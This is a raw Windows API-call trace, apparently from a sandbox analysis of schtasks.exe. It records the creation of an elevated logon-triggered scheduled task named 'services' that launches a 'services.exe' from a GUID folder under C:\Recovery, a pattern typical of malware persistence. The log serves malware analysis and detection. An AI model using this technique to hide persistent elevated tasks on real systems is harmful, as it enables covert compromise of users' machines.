(lpString="Third") returned 5 [0060.131] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.132] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0060.132] lstrlenW (lpString="Fourth") returned 6 [0060.132] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.132] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0060.132] lstrlenW (lpString="Last") returned 4 [0060.132] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.132] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0060.132] lstrlenW (lpString="First") returned 5 [0060.132] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.132] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0060.132] lstrlenW (lpString="Second") returned 6 [0060.132] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.132] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0060.132] lstrlenW (lpString="Third") returned 5 [0060.132] GetProcessHeap () returned 0xc0000 [0060.132] GetProcessHeap () returned 0xc0000 [0060.132] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd7e0) returned 1 [0060.132] GetProcessHeap () returned 0xc0000 [0060.132] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd7e0) returned 0xa [0060.132] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd7e0 | out: hHeap=0xc0000) returned 1 [0060.132] GetProcessHeap () returned 0xc0000 [0060.133] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xc) returned 0xdd7e0 [0060.133] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.133] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0060.133] lstrlenW (lpString="Fourth") returned 6 [0060.133] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.133] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0060.133] lstrlenW (lpString="Last") returned 4 [0060.133] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c660, cchData=128 | out: lpLCData="0") returned 2 [0060.133] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.133] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0060.133] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0060.133] GetProcessHeap () returned 0xc0000 [0060.133] GetProcessHeap () returned 0xc0000 [0060.133] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd700) returned 1 [0060.133] GetProcessHeap () returned 0xc0000 [0060.133] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd700) returned 0x10 [0060.133] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd700 | out: hHeap=0xc0000) returned 1 [0060.133] GetProcessHeap () returned 0xc0000 [0060.133] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x16) returned 0xdd700 [0060.133] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c680, cchData=128 | out: lpLCData="0") returned 2 [0060.133] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.134] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0060.134] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0060.134] GetProcessHeap () returned 0xc0000 [0060.134] GetProcessHeap () returned 0xc0000 [0060.134] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd720) returned 1 [0060.134] GetProcessHeap () returned 0xc0000 [0060.134] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd720) returned 0x10 [0060.134] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd720 | out: hHeap=0xc0000) returned 1 [0060.134] GetProcessHeap () returned 0xc0000 [0060.134] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x16) returned 0xdd720 [0060.134] GetLocalTime (in: lpSystemTime=0x27c8b0 | out: lpSystemTime=0x27c8b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2c, wMilliseconds=0x30c)) [0060.134] GetLocalTime (in: lpSystemTime=0x27d168 | out: lpSystemTime=0x27d168*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2c, wMilliseconds=0x30c)) [0060.134] lstrlenW (lpString="") returned 0 [0060.134] lstrlenW (lpString="") returned 0 [0060.134] lstrlenW (lpString="") returned 0 [0060.134] lstrlenW (lpString="") returned 0 [0060.134] lstrlenW (lpString="") returned 0 [0060.134] lstrlenW (lpString="") returned 0 [0060.134] lstrlenW (lpString="") returned 0 [0060.135] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0060.168] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0060.247] CoCreateInstance (in: rclsid=0xff081ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff081ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x27cf30 | out: ppv=0x27cf30*=0x28dee0) returned 0x0 [0060.259] TaskScheduler:ITaskService:Connect (This=0x28dee0, serverName=0x27d010*(varType=0x8, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x27cfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x27cff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27cfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0060.334] TaskScheduler:IUnknown:AddRef (This=0x28dee0) returned 0x2 [0060.334] TaskScheduler:ITaskService:GetFolder (in: This=0x28dee0, Path=0x0, ppFolder=0x27d0c8 | out: ppFolder=0x27d0c8*=0x27de0) returned 0x0 [0060.953] TaskScheduler:ITaskService:NewTask (in: This=0x28dee0, flags=0x0, ppDefinition=0x27d0c0 | out: ppDefinition=0x27d0c0*=0x27e30) returned 0x0 [0060.954] ITaskDefinition:get_Actions (in: This=0x27e30, ppActions=0x27d040 | out: ppActions=0x27d040*=0x27ef0) returned 0x0 [0060.954] IActionCollection:Create (in: This=0x27ef0, Type=0, ppAction=0x27d060 | out: ppAction=0x27d060*=0x266e0) returned 0x0 [0060.954] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.954] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.954] lstrlenW (lpString=" ") returned 1 [0060.954] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0060.954] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0060.954] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0060.955] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0060.956] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.957] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0060.957] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0060.957] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.957] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0060.957] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.957] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0060.957] IUnknown:Release (This=0x266e0) returned 0x1 [0060.957] IUnknown:Release (This=0x27ef0) returned 0x1 [0060.957] ITaskDefinition:get_Triggers (in: This=0x27e30, ppTriggers=0x27cbc0 | out: ppTriggers=0x27cbc0*=0x264b0) returned 0x0 [0060.958] ITriggerCollection:Create (in: This=0x264b0, Type=9, ppTrigger=0x27cbb8 | out: ppTrigger=0x27cbb8*=0x26750) returned 0x0 [0060.958] IUnknown:QueryInterface (in: This=0x26750, riid=0xff081c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x27cbb0 | out: ppvObject=0x27cbb0*=0x26750) returned 0x0 [0060.958] IUnknown:Release (This=0x26750) returned 0x2 [0060.958] _vsnwprintf (in: _Buffer=0x27cb00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x27cad8 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0060.958] ITrigger:put_StartBoundary (This=0x26750, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0060.958] lstrlenW (lpString="") returned 0 [0060.958] lstrlenW (lpString="") returned 0 [0060.958] lstrlenW (lpString="") returned 0 [0060.958] lstrlenW (lpString="") returned 0 [0060.959] IUnknown:Release (This=0x26750) returned 0x1 [0060.959] IUnknown:Release (This=0x264b0) returned 0x1 [0060.959] ITaskDefinition:get_Settings (in: This=0x27e30, ppSettings=0x27d060 | out: ppSettings=0x27d060*=0x26520) returned 0x0 [0060.959] lstrlenW (lpString="") returned 0 [0060.959] IUnknown:Release (This=0x26520) returned 0x1 [0060.959] GetLocalTime (in: lpSystemTime=0x27cf18 | out: lpSystemTime=0x27cf18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2d, wMilliseconds=0x25e)) [0060.959] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0060.960] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0060.960] GetUserNameW (in: lpBuffer=0x27cf40, pcbBuffer=0x27cf28 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x27cf28) returned 1 [0060.973] ITaskDefinition:get_RegistrationInfo (in: This=0x27e30, ppRegistrationInfo=0x27cf10 | out: ppRegistrationInfo=0x27cf10*=0x263f0) returned 0x0 [0060.974] IRegistrationInfo:put_Author (This=0x263f0, Author="") returned 0x0 [0060.974] _vsnwprintf (in: _Buffer=0x27cf40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x27ced8 | out: _Buffer="2023-09-19T17:16:45") returned 19 [0060.974] IRegistrationInfo:put_Date (This=0x263f0, Date="") returned 0x0 [0060.974] IUnknown:Release (This=0x263f0) returned 0x1 [0060.974] malloc (_Size=0x18) returned 0x26860 [0060.974] free (_Block=0x26860) [0060.975] lstrlenW (lpString="") returned 0 [0060.975] ITaskDefinition:get_Principal (in: This=0x27e30, ppPrincipal=0x27d130 | out: ppPrincipal=0x27d130*=0x26630) returned 0x0 [0060.975] IPrincipal:put_RunLevel (This=0x26630, RunLevel=1) returned 0x0 [0060.975] IUnknown:Release (This=0x26630) returned 0x1 [0060.975] malloc (_Size=0x18) returned 0x26860 [0060.975] ITaskFolder:RegisterTaskDefinition (in: This=0x27de0, Path="services", pDefinition=0x27e30, flags=6, UserId=0x27d1b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27d1f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27f0c0, varVal2=0xfe), LogonType=3, sddl=0x27d1d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x27d0d0 | out: ppTask=0x27d0d0*=0x26a00) returned 0x0 [0061.156] free (_Block=0x26860) [0061.156] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0061.156] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0061.156] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0061.156] GetProcessHeap () returned 0xc0000 [0061.156] GetProcessHeap () returned 0xc0000 [0061.156] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd740) returned 1 [0061.156] GetProcessHeap () returned 0xc0000 [0061.156] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd740) returned 0xe [0061.156] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd740 | out: hHeap=0xc0000) returned 1 [0061.156] GetProcessHeap () returned 0xc0000 [0061.156] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x82) returned 0xf9d60 [0061.157] _vsnwprintf (in: _Buffer=0x27d810, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x27d078 | out: _Buffer="SUCCESS: The scheduled task \"services\" has successfully been created.\n") returned 70 [0061.157] _fileno (_File=0x7feffe22ab0) returned -2 [0061.157] _errno () returned 0x24bb0 [0061.157] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0061.157] SetLastError (dwErrCode=0x6) [0061.157] lstrlenW (lpString="SUCCESS: The scheduled task \"services\" has successfully been created.\n") returned 70 [0061.157] GetConsoleOutputCP () returned 0x0 [0061.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"services\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0061.157] GetConsoleOutputCP () returned 0x0 [0061.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"services\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xff0c1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"services\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0061.157] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 70 [0061.157] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0061.158] IUnknown:Release (This=0x26a00) returned 0x0 [0061.158] TaskScheduler:IUnknown:Release (This=0x27e30) returned 0x0 [0061.158] TaskScheduler:IUnknown:Release (This=0x27de0) returned 0x0 [0061.158] TaskScheduler:IUnknown:Release (This=0x28dee0) returned 0x1 [0061.158] lstrlenW (lpString="") returned 0 [0061.158] GetProcessHeap () returned 0xc0000 [0061.158] GetProcessHeap () returned 0xc0000 [0061.158] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc540) returned 1 [0061.158] GetProcessHeap () returned 0xc0000 [0061.158] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc540) returned 0x1fc [0061.159] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc540 | out: hHeap=0xc0000) returned 1 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd6c0) returned 1 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd6c0) returned 0x16 [0061.159] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd6c0 | out: hHeap=0xc0000) returned 1 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd6a0) returned 1 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd6a0) returned 0x18 [0061.159] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd6a0 | out: hHeap=0xc0000) returned 1 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcf10) returned 1 [0061.159] GetProcessHeap () returned 0xc0000 [0061.159] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcf10) returned 0x20 [0061.160] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcf10 | out: hHeap=0xc0000) returned 1 [0061.160] GetProcessHeap () returned 0xc0000 [0061.160] GetProcessHeap () returned 0xc0000 [0061.160] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc190) returned 1 [0061.160] GetProcessHeap () returned 0xc0000 [0061.160] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc190) returned 0xa0 [0061.161] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc190 | out: hHeap=0xc0000) returned 1 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbc10) returned 1 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbc10) returned 0x18 [0061.161] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbc10 | out: hHeap=0xc0000) returned 1 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdccd0) returned 1 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdccd0) returned 0x20 [0061.161] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdccd0 | out: hHeap=0xc0000) returned 1 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc4b0) returned 1 [0061.161] GetProcessHeap () returned 0xc0000 [0061.161] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc4b0) returned 0x80 [0061.162] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc4b0 | out: hHeap=0xc0000) returned 1 [0061.162] GetProcessHeap () returned 0xc0000 [0061.162] GetProcessHeap () returned 0xc0000 [0061.162] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd6e0) returned 1 [0061.162] GetProcessHeap () returned 0xc0000 [0061.162] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd6e0) returned 0x18 [0061.162] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd6e0 | out: hHeap=0xc0000) returned 1 [0061.162] GetProcessHeap () returned 0xc0000 [0061.162] GetProcessHeap () returned 0xc0000 [0061.162] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcca0) returned 1 [0061.162] GetProcessHeap () returned 0xc0000 [0061.162] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcca0) returned 0x20 [0061.163] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcca0 | out: hHeap=0xc0000) returned 1 [0061.163] GetProcessHeap () returned 0xc0000 [0061.163] GetProcessHeap () returned 0xc0000 [0061.163] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdde50) returned 1 [0061.163] GetProcessHeap () returned 0xc0000 [0061.163] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdde50) returned 0x82 [0061.163] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdde50 | out: hHeap=0xc0000) returned 1 [0061.163] GetProcessHeap () returned 0xc0000 [0061.163] GetProcessHeap () returned 0xc0000 [0061.164] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd680) returned 1 [0061.164] GetProcessHeap () returned 0xc0000 [0061.164] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd680) returned 0x18 [0061.164] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd680 | out: hHeap=0xc0000) returned 1 [0061.164] GetProcessHeap () returned 0xc0000 [0061.164] GetProcessHeap () returned 0xc0000 [0061.164] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcc70) returned 1 [0061.164] GetProcessHeap () returned 0xc0000 [0061.164] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcc70) returned 0x20 [0061.165] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcc70 | out: hHeap=0xc0000) returned 1 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc490) returned 1 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc490) returned 0xe [0061.165] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc490 | out: hHeap=0xc0000) returned 1 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc470) returned 1 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc470) returned 0x18 [0061.165] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc470 | out: hHeap=0xc0000) returned 1 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5ea0) returned 1 [0061.165] GetProcessHeap () returned 0xc0000 [0061.165] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5ea0) returned 0x20 [0061.166] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5ea0 | out: hHeap=0xc0000) returned 1 [0061.166] GetProcessHeap () returned 0xc0000 [0061.166] GetProcessHeap () returned 0xc0000 [0061.166] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbd90) returned 1 [0061.166] GetProcessHeap () returned 0xc0000 [0061.166] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbd90) returned 0x208 [0061.167] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbd90 | out: hHeap=0xc0000) returned 1 [0061.167] GetProcessHeap () returned 0xc0000 [0061.167] GetProcessHeap () returned 0xc0000 [0061.167] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbbf0) returned 1 [0061.167] GetProcessHeap () returned 0xc0000 [0061.167] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbbf0) returned 0x18 [0061.167] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbbf0 | out: hHeap=0xc0000) returned 1 [0061.167] GetProcessHeap () returned 0xc0000 [0061.167] GetProcessHeap () returned 0xc0000 [0061.167] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5db0) returned 1 [0061.167] GetProcessHeap () returned 0xc0000 [0061.167] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5db0) returned 0x20 [0061.168] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5db0 | out: hHeap=0xc0000) returned 1 [0061.168] GetProcessHeap () returned 0xc0000 [0061.168] GetProcessHeap () returned 0xc0000 [0061.168] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd440) returned 